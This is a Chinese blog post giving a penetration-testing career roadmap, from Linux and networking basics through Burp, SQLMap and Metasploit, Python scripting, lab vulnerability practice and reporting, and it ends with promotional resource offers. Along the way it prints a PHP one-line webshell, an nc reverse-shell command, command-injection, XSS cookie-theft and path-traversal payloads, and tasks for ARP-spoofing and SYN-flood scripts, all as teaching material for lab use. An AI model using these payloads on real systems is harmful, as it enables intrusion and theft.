引言

渗透测试工程师的核心是 “模拟黑客攻击,发现安全漏洞,守护网络安全”,本质是 “合法的黑客”。这份路线不堆砌理论,聚焦 “实战能力”,从底层基础到企业级项目流程,全程对标岗位需求,帮你一步步从新手成长为能独立完成渗透测试的工程师。

第一阶段:渗透测试基础筑基(1-2 个月)

核心目标

掌握渗透测试必备的计算机、网络、Web 基础,建立 “系统如何运行、数据如何传输” 的底层认知,为后续学习打牢地基。

一、计算机系统基础:吃透 Linux 与 Windows

渗透测试的靶机、服务器多为 Linux 系统,需优先掌握;Windows 系统作为客户端和服务器的常用系统,也需了解基础操作。

1. Linux 系统(重点:Kali Linux)
  • 学习重点

    • 系统安装与配置:用 VMware 安装 Kali Linux(渗透测试专用系统,预装大量工具),掌握网络配置(静态 IP、DNS 设置)、用户管理(创建 / 删除用户、权限分配)。

    • 核心命令

      • 文件操作:ls(查看目录)、cd(切换目录)、mkdir/rm(创建 / 删除)、cp/mv(复制 / 移动)、cat/less(查看文件)。
      • 权限管理:chmod(修改权限,如chmod 777 file)、chown(修改所有者)、sudo(提权)。
      • 网络相关:ifconfig/ip(查看网卡信息)、ping(测试连通性)、netstat(查看端口 / 连接)、ssh(远程连接)。
      • 工具相关:apt-get(安装软件,如apt-get install nmap)、service(管理服务,如service apache2 start)。
    • Shell 脚本入门:编写简单脚本(如批量执行命令、自动化部署工具),理解脚本在渗透中的自动化价值。

  • 实操任务

    1. 安装 Kali Linux,配置网络使其能访问外网和局域网。
    2. 用命令完成 “创建文件夹→下载文件→修改权限→查看端口” 的完整流程。
    3. 写一个 Shell 脚本,批量 ping 测试局域网内 10 台主机的存活状态。
2. Windows 系统
  • 学习重点
    • 命令行操作:CMD/PowerShell 基础命令(ipconfigpingnetstat -anotasklist)。
    • 系统安全相关:防火墙设置、用户权限管理、服务管理(services.msc)、日志查看(事件查看器)。
  • 实操任务
    1. 用 PowerShell 查看本地开放的端口及对应进程。
    2. 配置 Windows 防火墙,禁止特定 IP 访问本机 80 端口。
二、网络基础:搞懂 “数据传输的规则”

网络是渗透测试的 “战场”,所有攻击都基于网络传输,必须吃透 TCP/IP 协议栈和核心概念。

1. 核心概念与协议
  • 学习重点

    • 基础概念:IP 地址(公网 / 私网、IPv4/IPv6)、子网掩码、网关、DNS(域名→IP 解析)、端口(范围 0-65535,常用端口及对应服务:80=HTTP、443=HTTPS、22=SSH、3389=RDP、3306=MySQL)。

    • TCP/IP 四层模型

      • 网络层(IP 协议):负责 “路由选择”,确定数据从源 IP 到目标 IP 的路径。
      • 传输层(TCP/UDP 协议):TCP 是 “可靠连接”(三次握手建立连接,四次挥手断开),适用于网页、文件传输;UDP 是 “无连接”,适用于视频、游戏,速度快但不可靠。
      • 应用层(HTTP/HTTPS/FTP/SMTP):HTTP 是浏览器与服务器的 “通信语言”,明文传输;HTTPS 是 HTTP+SSL/TLS 加密,安全传输;FTP 用于文件上传下载。
    • 数据传输流程:以 “访问www.baidu.com” 为例,拆解 “输入域名→DNS 解析→TCP 三次握手→发送 HTTP 请求→服务器响应→TCP 四次挥手” 的完整过程。

  • 实操任务

    1. nslookup命令查询百度的 IP 地址,理解 DNS 解析过程。
    2. 用 Wireshark 抓包,过滤出 TCP 包,找到 “三次握手” 和 “四次挥手” 的数据包,分析各字段含义。
三、Web 基础:理解 “网站的构成”

Web 渗透是渗透测试的核心方向,需先懂网站的底层架构和运行逻辑。

1. 学习重点
  • 网站架构:客户端(浏览器)→服务器(Web 服务器:Apache/Nginx/IIS)→数据库(MySQL/MSSQL/Oracle)。
  • Web 技术栈
    • 前端:HTML(页面结构)、CSS(样式)、JavaScript(交互逻辑),理解前端代码如何与后端交互。
    • 后端:动态语言(PHP/Java/Python/ASP.NET),知道 “后端接收前端请求→处理逻辑→操作数据库→返回响应” 的流程。
    • 数据库:SQL 基础(查询select、插入insert、更新update、删除delete),理解网站数据如何存储和读取。
  • 实操任务
    1. 用浏览器 F12 查看网页的 HTML/CSS/JS 代码,找到一个登录页面的表单提交地址。
    2. 安装 PHPStudy,搭建本地 Web 环境,运行一个简单的 PHP 登录脚本(连接 MySQL 数据库,实现账号密码验证)。
阶段资源与目标
  • 资源推荐

    • Linux:B 站《Kali Linux 从入门到精通》、书籍《Linux 命令行与 Shell 脚本编程大全》。
    • 网络:B 站《湖科大计算机网络微课堂》、书籍《图解 TCP/IP》。
    • Web:B 站《PHP 入门到精通》、W3School 官网(HTML/CSS/JS 教程)。
  • 阶段目标

    • 能独立操作 Kali Linux,熟练使用 30 + 核心命令;懂 Windows 命令行基础操作。
    • 能清晰解释 TCP 三次握手、HTTP 请求流程;会用 Wireshark 分析简单数据包。
    • 能搭建本地 Web 环境,理解前端、后端、数据库的交互逻辑。

第二阶段:渗透测试核心工具精通(2-3 个月)

核心目标

掌握渗透测试全流程的 8 款核心工具,从 “信息收集→漏洞扫描→漏洞利用→权限维持”,能独立用工具完成基础渗透操作。

一、信息收集工具:摸清目标 “底细”

信息收集是渗透测试的第一步,目标是获取 “目标 IP、域名、端口、服务、目录、员工信息” 等,为后续攻击找突破口。

1. Nmap(网络扫描神器)
  • 核心用途:探测目标主机存活状态、开放端口、运行服务及版本、操作系统类型。
  • 必学命令
    • 基础扫描:nmap 目标IP(扫描常用端口,默认 1000 个)。
    • 全端口扫描:nmap -p 1-65535 目标IP(扫描所有端口,信息更全)。
    • 服务版本探测:nmap -sV 目标IP(识别端口对应的服务版本,如 “Apache 2.4.41”)。
    • 操作系统探测:nmap -O 目标IP(猜测目标操作系统,如 “Windows 10”)。
    • 网段扫描:nmap 192.168.1.1/24(扫描整个网段的存活主机)。
  • 实操场景:用 Nmap 扫描本地 VMware 中的靶机(如 Metasploitable2),记录开放的端口、服务及版本。
2. 子域名挖掘工具(Layer 子域名挖掘机 / OneForAll)
  • 核心用途:挖掘目标主域名下的子域名(如主域baidu.com,子域map.baidu.com),扩大渗透范围。
  • 必学操作
    • Layer 子域名挖掘机:输入主域名,选择 “字典扫描 + 搜索引擎扫描”,导出子域名列表。
    • OneForAll(Python 工具):通过命令行运行,支持多源数据采集,挖掘效率更高。
  • 实操场景:挖掘test.com(本地测试域名)的子域名,验证子域名对应的 IP 是否可访问。
3. 目录扫描工具(Dirsearch/Gobuster)
  • 核心用途:扫描网站隐藏目录和文件(如/admin后台、/backup.zip备份文件),寻找敏感信息。
  • 必学操作
    • Dirsearch(Python 工具):命令python dirsearch.py -u 目标URL -w 字典路径(字典用 SecLists 中的directory-list-2.3-small.txt)。
    • 结果解读:根据响应状态码判断(200 = 存在,404 = 不存在,302 = 跳转)。
  • 实操场景:扫描本地搭建的 Web 网站,找到/admin后台登录页面和/config.php配置文件。
二、Web 渗透工具:突破 Web 应用防线

Web 应用是渗透测试的主要目标,需掌握抓包、漏洞扫描、暴力破解等核心工具。

1. Burp Suite(Web 渗透瑞士军刀)
  • 核心用途:抓包修改 HTTP 请求、漏洞扫描、暴力破解、SQL 注入测试,是 Web 渗透的 “核心工具”。

  • 必学模块与操作

    • Proxy(代理):配置浏览器代理(127.0.0.1:8080),捕获 HTTP/HTTPS 请求,查看请求头、请求体、响应内容。

    • Intruder(爆破)

      :用于暴力破解登录密码、API 接口参数爆破,需掌握:

      • 设置 “攻击类型”(Sniper:单参数爆破;Battering Ram:多参数相同 payload;Pitchfork:多参数对应 payload;Cluster Bomb:多参数组合 payload)。
      • 加载 “payload 字典”(如账号字典、密码字典),执行爆破并分析结果。
    • Scanner(扫描器):开启主动扫描,自动检测 SQL 注入、XSS、CSRF 等 Web 漏洞(社区版功能有限,可先用免费插件补充)。

    • Repeater(重放):修改抓包后的请求参数(如id=1改为id=2),重复发送请求,验证参数篡改是否存在漏洞。

  • 实操场景:用 Burp Suite 捕获本地 Web 登录页面的请求,用 Intruder 模块爆破管理员账号密码(账号字典admin,密码字典123456)。

2. SQLMap(SQL 注入神器)
  • 核心用途:自动检测和利用 SQL 注入漏洞,获取数据库权限、导出数据。
  • 必学命令
    • 基础检测:sqlmap -u "目标URL?id=1"(检测 URL 中的id参数是否存在 SQL 注入)。
    • 获取数据库:sqlmap -u "目标URL?id=1" --dbs(列出所有数据库)。
    • 获取表名:sqlmap -u "目标URL?id=1" -D 数据库名 --tables(列出指定数据库的表)。
    • 导出数据:sqlmap -u "目标URL?id=1" -D 数据库名 -T 表名 --dump(导出指定表的数据)。
    • 绕过防护:sqlmap -u "目标URL?id=1" --random-agent --delay 1(用随机 User-Agent、延迟请求绕过 WAF)。
  • 实操场景:在 SQLi-Labs 靶场的 Less-1 页面,用 SQLMap 检测并利用 SQL 注入,导出users表的账号密码。
三、漏洞利用与权限维持工具
1. Metasploit Framework(MSF,漏洞利用框架)
  • 核心用途:集成全球主流漏洞的利用模块、攻击载荷(Payload),快速验证漏洞是否可利用,获取目标主机权限。
  • 必学操作流程
    1. 启动 MSF:命令msfconsole
    2. 搜索模块:search 漏洞名称(如search ms17_010,搜索永恒之蓝漏洞模块)。
    3. 加载模块:use 模块路径(如use exploit/windows/smb/ms17_010_eternalblue)。
    4. 查看参数:show options(查看需要设置的参数,如 RHOSTS = 目标 IP)。
    5. 设置参数:set RHOSTS 目标IPset LHOST 本地IP(反弹连接时需设置)。
    6. 执行攻击:runexploit,成功后获取目标 Shell。
  • 实操场景:用 MSF 的 “永恒之蓝” 模块攻击 Metasploitable2 靶机,获取 Linux Shell 权限。
2. 蚁剑 / 菜刀(Web 后门管理工具)
  • 核心用途:连接 Web 后门(如一句话木马),管理目标服务器(上传 / 下载文件、执行命令、查看数据库)。
  • 必学操作
    1. 生成一句话木马:PHP 版本<?php @eval($_POST['pass']);?>(密码为pass)。
    2. 上传木马:通过文件上传漏洞将木马上传到目标网站。
    3. 连接木马:打开蚁剑,添加 “连接”,输入 URL(如http://目标IP/shell.php)、密码pass,测试连接成功后管理服务器。
  • 实操场景:在 DVWA 靶场的 “文件上传” 模块(Low 难度),上传一句话木马,用蚁剑连接并获取服务器文件列表。
阶段资源与目标
  • 资源推荐

    • 工具教程:B 站《Burp Suite 新手到大神》《SQLMap 实战教程》《Metasploit 框架入门》。
    • 字典资源:SecLists(GitHub 开源字典库,包含目录、密码、payload 等)。
  • 阶段目标

    • 能独立用 Nmap 扫描目标网络、用 Layer 挖掘子域名、用 Dirsearch 扫描网站目录。
    • 能熟练使用 Burp Suite 抓包、爆破、重放请求;能用 SQLMap 自动利用 SQL 注入漏洞。
    • 能通过 MSF 利用简单漏洞获取靶机权限;能用蚁剑管理 Web 后门。

第三阶段:编程能力赋能(2-3 个月)

核心目标

掌握 Python 编程,能编写渗透脚本解决实际问题,从 “用工具” 升级为 “懂工具原理、改工具逻辑、造工具”,提升渗透效率。

一、Python 核心学习(聚焦渗透场景)

Python 是渗透测试的首选语言,语法简洁、库丰富,能快速实现各类渗透功能。

1. Python 基础语法(1 个月)
  • 学习重点
    • 核心语法:变量、数据类型(字符串、列表、字典、元组)、条件判断(if-else)、循环(for/while)、函数、类与对象、异常处理(try-except)。
    • 文件操作:读取 / 写入文本文件(如保存扫描结果、加载字典)。
    • 正则表达式:用re库匹配 IP、端口、URL 等敏感信息(如从网页源码中提取所有链接)。
  • 实操任务
    1. 写一个函数,接收 IP 地址和端口列表,返回存活的端口(用ping命令判断)。
    2. 写一个脚本,读取 Nmap 扫描结果文件,提取所有开放 80 端口的 IP 地址,保存到http_ip.txt
2. 渗透相关 Python 库(1-2 个月)
  • 学习重点

    • requests

      :发送 HTTP/HTTPS 请求,实现 Web 渗透功能。

      • 实操:编写 “Web 目录扫描器”(遍历字典中的目录路径,用requests.get发送请求,根据状态码判断目录是否存在)。
    • socket

      :网络编程,实现底层网络交互。

      • 实操:编写 “多线程端口扫描器”(创建 socket 连接,尝试连接目标端口,判断是否开放;用多线程提升扫描速度)。
    • scapy

      :构造和解析网络数据包,实现高级网络攻击。

      • 实操:编写 “ARP 欺骗脚本”(向局域网内目标主机发送伪造 ARP 包,欺骗网关,获取目标流量)。
    • BeautifulSoup

      :解析 HTML 页面,提取有用信息(如链接、表单、敏感数据)。

      • 实操:编写 “网页敏感信息爬虫”(爬取目标网站的所有链接和邮箱地址)。
3. 脚本优化与实战
  • 学习重点
    • 多线程 / 多进程:用threading/multiprocessing库优化脚本(如多线程端口扫描、多线程目录扫描,提升效率)。
    • 命令行参数:用argparse库给脚本添加命令行参数(如python scanner.py -u 目标URL -w 字典路径),模拟专业工具的使用方式。
    • 开源脚本二次开发:找 GitHub 上的简单渗透脚本(如简易端口扫描器),修改功能(如增加结果导出、多线程支持)。
  • 实操任务
    1. 优化 “Web 目录扫描器”,添加多线程支持和命令行参数,支持自定义字典路径、线程数、超时时间。
    2. 基于scapy库,编写一个简单的 SYN Flood 攻击脚本(理解 DDoS 攻击的基本原理,仅在本地靶机测试)。
阶段资源与目标
  • 资源推荐

    • 基础:书籍《Python 编程:从入门到实践》、B 站《黑马程序员 Python 教程》。
    • 进阶:书籍《Python 网络编程攻略》、GitHub 开源渗透脚本库(搜索 “Python Penetration Testing”)。
  • 阶段目标

    • 熟练掌握 Python 基础语法,能独立编写简单脚本解决渗透中的小问题。
    • 会用requests/socket/scapy库实现目录扫描、端口扫描、数据包构造等功能。
    • 能优化现有脚本,添加多线程、命令行参数,提升实用性。

第四阶段:核心漏洞实战(2-3 个月)

核心目标

掌握渗透测试中最常见的 8 类漏洞的原理、利用方法、绕过技巧,通过靶场实战积累经验,能独立发现并利用漏洞。

一、Web 漏洞实战(重点,占渗透测试 70% 以上)

Web 漏洞是渗透测试的核心,优先掌握以下 6 类高频漏洞。

1. SQL 注入漏洞
  • 漏洞原理:攻击者在输入框(登录框、搜索框)或 URL 参数中注入 SQL 语句,篡改数据库查询逻辑,获取敏感数据或操控数据库。
  • 学习重点
    • 注入点识别:通过输入'(单引号)、and 1=1/and 1=2or 1=1等特殊字符,观察页面响应判断是否存在注入。
    • 注入类型:
      • 联合查询注入(union select):适用于有回显的场景,用于查询数据库名、表名、字段名、数据。
      • 时间盲注(if(条件,sleep(5),0)):适用于无回显的场景,通过延迟判断条件是否成立。
      • 报错注入(updatexml/extractvalue):通过触发数据库报错,显示敏感数据。
    • 绕过技巧:大小写绕过(Union Select)、注释绕过(--+/#)、编码绕过(URL 编码、Unicode 编码)、关键字替换(and&&)。
  • 靶场练习:SQLi-Labs(1-20 关,从简单联合查询到盲注、报错注入)、DVWA(SQL Injection 模块,从 Low 到 High 难度)。
2. XSS 跨站脚本漏洞
  • 漏洞原理:攻击者在网页中注入恶意 JavaScript 代码,当用户访问页面时,代码执行,可窃取 Cookie、伪造操作、钓鱼等。
  • 学习重点
    • 漏洞分类:
      • 存储型 XSS:代码存入数据库(如留言板、评论区),所有访问页面的用户都会触发。
      • 反射型 XSS:代码在 URL 中(如搜索框),仅点击恶意 URL 的用户触发。
      • DOM 型 XSS:通过操作 DOM 树执行代码,与服务器无关,仅在客户端触发。
    • 利用方法:注入<script>alert(document.cookie)</script>窃取 Cookie;注入钓鱼表单获取账号密码;注入img src=x onerror=xxx绕过过滤。
    • 绕过技巧:标签变形(<scr<script>ipt>)、事件触发(onload/onclick/onerror)、编码绕过(HTML 实体编码、JS 编码)。
  • 靶场练习:DVWA(XSS 模块)、XSS-Lab(1-10 关,覆盖各类 XSS 场景)。
3. 文件上传漏洞
  • 漏洞原理:网站文件上传功能未做严格验证,攻击者上传恶意脚本文件(如.php后门),通过访问文件获取服务器权限。
  • 学习重点
    • 绕过验证方式:
      • 后缀名绕过:用.php5/.phtml/.php.(空格)等绕过黑名单验证;修改后缀为.jpg上传后,用 Burp 修改回.php
      • MIME 类型绕过:上传时用 Burp 修改Content-Type(如image/jpeg改为text/php),绕过前端 MIME 验证。
      • 内容绕过:在 PHP 脚本前添加图片头(GIF89a),制作 “图片马”,绕过内容检测。
    • 漏洞利用:上传一句话木马,用蚁剑 / 菜刀连接;上传 webshell(如 PHP 一句话、ASP 后门),获取服务器权限。
  • 靶场练习:DVWA(File Upload 模块)、Upload-Lab(1-20 关,覆盖各类绕过场景)。
4. CSRF 跨站请求伪造漏洞
  • 漏洞原理:攻击者构造恶意请求,诱导已登录的用户点击,利用用户的登录状态执行未授权操作(如修改密码、转账、发帖)。
  • 学习重点
    • 漏洞识别:判断请求是否依赖 Cookie 认证,且未验证Referer(请求来源)或使用Token(随机令牌)防护。
    • 利用方法:构造 HTML 表单(自动提交)或图片标签,模拟用户提交请求;诱导用户访问恶意页面,触发请求。
    • 绕过技巧:利用Referer过滤不严(如仅验证包含目标域名),构造包含目标域名的恶意页面;利用 Flash 跨域漏洞绕过Referer验证。
  • 靶场练习:DVWA(CSRF 模块)、OWASP WebGoat(CSRF 章节)。
5. 命令注入漏洞
  • 漏洞原理:网站后端未对用户输入进行过滤,直接将输入作为系统命令执行,攻击者通过注入命令分隔符(&/&&/;/|)执行恶意命令。
  • 学习重点
    • 漏洞识别:找到可能执行系统命令的功能(如 ping 测试、文件备份),输入127.0.0.1 & whoami,观察是否返回当前用户。
    • 常用命令:whoami(查看当前用户)、ipconfig/ifconfig(查看网络)、ls/dir(查看目录)、nc -e /bin/bash 攻击机IP 端口(反弹 Shell)。
    • 绕过技巧:空格绕过(用${IFS}代替空格)、关键字绕过(用whoa\mi绕过whoami过滤)、编码绕过(Base64 编码命令后执行)。
  • 靶场练习:DVWA(Command Injection 模块)、Metasploitable2(Samba 服务命令注入)。
6. 目录遍历漏洞
  • 漏洞原理:网站未对用户输入的文件路径进行严格过滤,攻击者通过../(向上跳转目录)访问服务器上的敏感文件(如/etc/passwdC:\Windows\system32\config\SAM)。
  • 学习重点
    • 漏洞识别:找到文件读取功能(如查看日志、下载文件),在路径后添加../,如?file=../etc/passwd,观察是否能读取文件。
    • 利用方法:多层../跳转(如../../../../etc/passwd),直到找到敏感文件;结合操作系统特性(Linux 用/根目录,Windows 用C:\)。
    • 绕过技巧:编码绕过(../编码为%2e%2e%2f)、双写绕过(....//被过滤后变为../)。
  • 靶场练习:DVWA(File Inclusion 模块,文件包含漏洞与目录遍历原理类似)、OWASP WebGoat。
二、系统与内网漏洞实战(入门级)

除 Web 漏洞外,系统漏洞和内网漏洞在渗透测试中也很常见,需掌握基础原理和利用方法。

1. 系统漏洞(以 Windows 为例)
  • 学习重点:了解常见系统漏洞(如 MS17-010 永恒之蓝、CVE-2021-34527 PrintNightmare)的影响范围和利用方式;用 MSF 加载对应模块,获取目标系统权限。
  • 实操场景:用 MSF 的exploit/windows/smb/ms17_010_eternalblue模块攻击 Windows 7 靶机,获取 System 权限。
2. 内网渗透基础(入门)
  • 学习重点:了解内网渗透的核心思路(横向移动、权限提升);掌握基础工具(如ipconfig/ifconfig查看内网网段、arp -a查看内网主机、net view查看共享资源)。
  • 实操场景:在 VMware 中搭建简单内网环境(1 台攻击机 Kali、2 台靶机 Windows 7),通过已获取权限的靶机,扫描内网其他主机,尝试横向移动。
阶段资源与目标
  • 资源推荐

    • 漏洞教程:书籍《Web 渗透测试实战》、FreeBuf 官网(漏洞分析文章)、OWASP Top 10(Web 安全漏洞排名,聚焦高频漏洞)。
    • 靶场:SQLi-Labs、Upload-Lab、DVWA、Metasploitable2、VulnStack(内网渗透靶场)。
  • 阶段目标

    • 掌握 SQL 注入、XSS、文件上传等 6 类 Web 漏洞的原理、利用和绕过方法。
    • 能独立完成 SQLi-Labs、Upload-Lab 全关卡练习;能在 DVWA 中完成所有漏洞模块的测试(Low 到 High 难度)。
    • 了解常见系统漏洞的利用方式;能完成简单的内网扫描和横向移动尝试。

第五阶段:渗透测试全流程实战(1-2 个月)

核心目标

掌握企业级渗透测试的完整流程,从 “项目启动→信息收集→漏洞挖掘→漏洞利用→权限提升→内网渗透→报告编写”,能独立完成中小型项目的渗透测试。

一、渗透测试全流程拆解
1. 阶段 1:项目准备与信息收集(1-3 天)
  • 核心任务
    • 明确测试范围:获取客户授权的测试目标(IP 段、域名、系统),避免越权测试。
    • 信息收集(全面):
      • 公开信息:通过 Whois 查询域名注册信息、通过 Shodan 搜索目标设备、通过 GitHub 搜索目标源码泄露。
      • 网络信息:用 Nmap 扫描目标网段,获取存活主机、端口、服务;用 Layer 挖掘子域名,拓展测试范围。
      • Web 信息:用 Dirsearch 扫描目录,寻找后台、备份文件;用 Burp 爬取网站链接,分析网站结构;查看robots.txt文件,获取禁止访问的目录。
2. 阶段 2:漏洞扫描与挖掘(3-5 天)
  • 核心任务
    • 自动化扫描:用 Nessus(漏洞扫描器)、AWVS(Web 漏洞扫描器)对目标进行自动化扫描,生成初步漏洞报告。
    • 手动挖掘:针对自动化扫描的结果,手动验证漏洞真实性;针对 Web 应用,手动测试 SQL 注入、XSS、文件上传等漏洞(自动化工具可能漏扫或误报)。
    • 漏洞优先级划分:根据漏洞危害程度(高危 / 中危 / 低危)和可利用性,优先测试高危漏洞(如远程代码执行、SQL 注入)。
3. 阶段 3:漏洞利用与权限提升(3-5 天)
  • 核心任务
    • Web 漏洞利用:利用 SQL 注入获取数据库数据;利用文件上传上传后门,获取 WebShell;利用命令注入执行系统命令。
    • 权限提升:从 WebShell 权限(低权限)提升到系统管理员权限(高权限),常用方法:
      • Linux:利用 SUID 文件、内核漏洞(如 Dirty COW)提权。
      • Windows:利用系统漏洞(如 MS17-010)、窃取密码哈希(如 Mimikatz)提权。
    • 内网渗透(若授权):
      • 横向移动:利用内网扫描工具(如 Empire、Cobalt Strike)扫描其他主机,通过密码复用、漏洞利用获取其他主机权限。
      • 权限维持:在目标主机上留下后门(如 Linux 的 SSH 公钥、Windows 的注册表后门),方便后续访问。
4. 阶段 4:报告编写与复盘(2-3 天)
  • 核心任务
    • 编写渗透测试报告:报告需包含 “测试概述、信息收集结果、漏洞详情、修复建议、风险等级”,语言需专业且易懂,让客户能看懂并落地修复。
    • 漏洞详情模板:
      • 漏洞名称:SQL 注入漏洞(高危)。
      • 漏洞位置:http://目标URL/login.php?id=1
      • 漏洞描述:该参数未对用户输入进行过滤,可注入 SQL 语句获取数据库数据。
      • 利用过程:附截图(注入语句、返回结果)。
      • 修复建议:使用预处理语句(如 PHP 的 PDO)、过滤特殊字符、限制数据库用户权限。
    • 项目复盘:总结测试过程中遇到的问题、未利用成功的漏洞原因,优化测试方法。
二、实战靶场推荐(模拟企业环境)
靶场名称 特点 适合场景 获取方式
Hack The Box(HTB) 在线靶场,模拟真实企业环境 全流程渗透测试实战 注册账号,在线访问
VulnStack 内网渗透靶场,多层架构 内网渗透、权限提升实战 官网下载,虚拟机部署
TryHackMe 新手友好,分模块练习 全流程入门实战 注册账号,在线访问
阶段资源与目标
  • 资源推荐

    • 流程教程:书籍《渗透测试实战指南》、B 站《企业级渗透测试全流程实战》。
    • 报告模板:CSDN、FreeBuf 上的公开渗透测试报告模板;Nessus、AWVS 生成的报告模板。
  • 阶段目标

    • 能独立完成 HTB/TryHackMe 上的中等难度靶机全流程渗透(从信息收集到权限获取)。
    • 能在 VulnStack 靶场中完成内网渗透(横向移动、权限提升)。
    • 能编写专业的渗透测试报告,包含漏洞详情、利用过程和修复建议。

第六阶段:职业进阶与求职准备(持续进行)

核心目标

明确职业发展路径,通过证书、项目经验提升竞争力,成功入职渗透测试岗位。

一、必备证书(提升求职竞争力)
证书名称 难度 含金量 适合阶段
CEH(国际注册道德黑客) 中等 入门级,全球认可 新手入门后考取
OSCP(Offensive Security Certified Professional) 较高 实战型,行业认可度高 有一定实战经验后考取
CISAW(注册信息安全专业人员) 中等 国内认可,适合国企 / 央企 计划进入国内企业考取
eWPT(eLearnSecurity Web Penetration Tester) 中等 Web 渗透专项,实战性强 专注 Web 渗透方向考取
二、求职准备与职业发展
1. 求职准备
  • 简历优化:突出实战经验(如 “独立完成 XX 靶场全流程渗透”“参与 XX 企业渗透测试项目”)、技能掌握(工具、漏洞、编程)、证书(如有)。
  • 技术面试准备:
    • 基础问题:TCP 三次握手、SQL 注入原理、XSS 分类及防范。
    • 实战问题:“如何挖掘一个网站的漏洞?”“遇到 WAF 如何绕过?”“Linux 提权的常用方法有哪些?”
    • 实操面试:部分公司会安排靶场实操,要求在规定时间内完成漏洞挖掘和利用,需提前在 HTB、TryHackMe 上练习。
2. 职业发展路径
  • 初级渗透测试工程师→中级渗透测试工程师→高级渗透测试工程师
    • 初级(0-1 年):协助完成信息收集、漏洞扫描、报告编写;能独立测试简单 Web 漏洞。
    • 中级(1-3 年):独立完成中小型渗透测试项目;能解决复杂漏洞利用和内网渗透问题。
    • 高级(3-5 年):负责大型项目或专项测试(如移动安全、工控安全);指导初级工程师;参与漏洞挖掘和工具开发。
  • 横向发展方向
    • 安全开发工程师:开发安全工具、WAF、漏洞扫描器,需强化编程能力(Python/Java/C++)。
    • 应急响应工程师:处理企业安全事件(如黑客攻击、数据泄露),需掌握日志分析、恶意代码分析能力。
    • 安全架构师:设计企业安全防护体系,需具备全面的安全知识和项目管理能力。
阶段资源与目标
  • 资源推荐 :

    • 求职:BOSS 直聘、拉勾网(搜索 “渗透测试工程师” 岗位,查看岗位需求);GitHub(搜索 “渗透测试面试题”)。
    • 进阶学习:《内网渗透测试实战》《Metasploit 渗透测试指南》、安全会议演讲(Black Hat、DEF CON)。
  • 阶段目标

    • 考取 1-2 个入门级证书(如 CEH、CISAW)。
    • 优化简历,准备技术面试,成功投递并入职渗透测试相关岗位。
    • 明确职业发展方向,制定长期学习计划(如深耕 Web 渗透或转型安全开发)。

总结

从 0 到 1 成为渗透测试工程师,本质是 “基础→工具→编程→漏洞→流程→职业” 的层层递进,没有捷径,但每一步都有明确的目标和方法。关键是 “多实操、多总结”—— 工具要亲手用,漏洞要亲手测,脚本要亲手写,靶场要亲手打。记住:渗透测试的核心是 “守护安全”,始终在合法授权的范围内操作,守住法律和伦理底线,才能在这个领域走得长远。

网络安全学习路线&学习资源在这里插入图片描述

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级网工

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

“脚本小子”成长进阶资源领取

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程:

需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。

网络安全学习路线&学习资源在这里插入图片描述

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐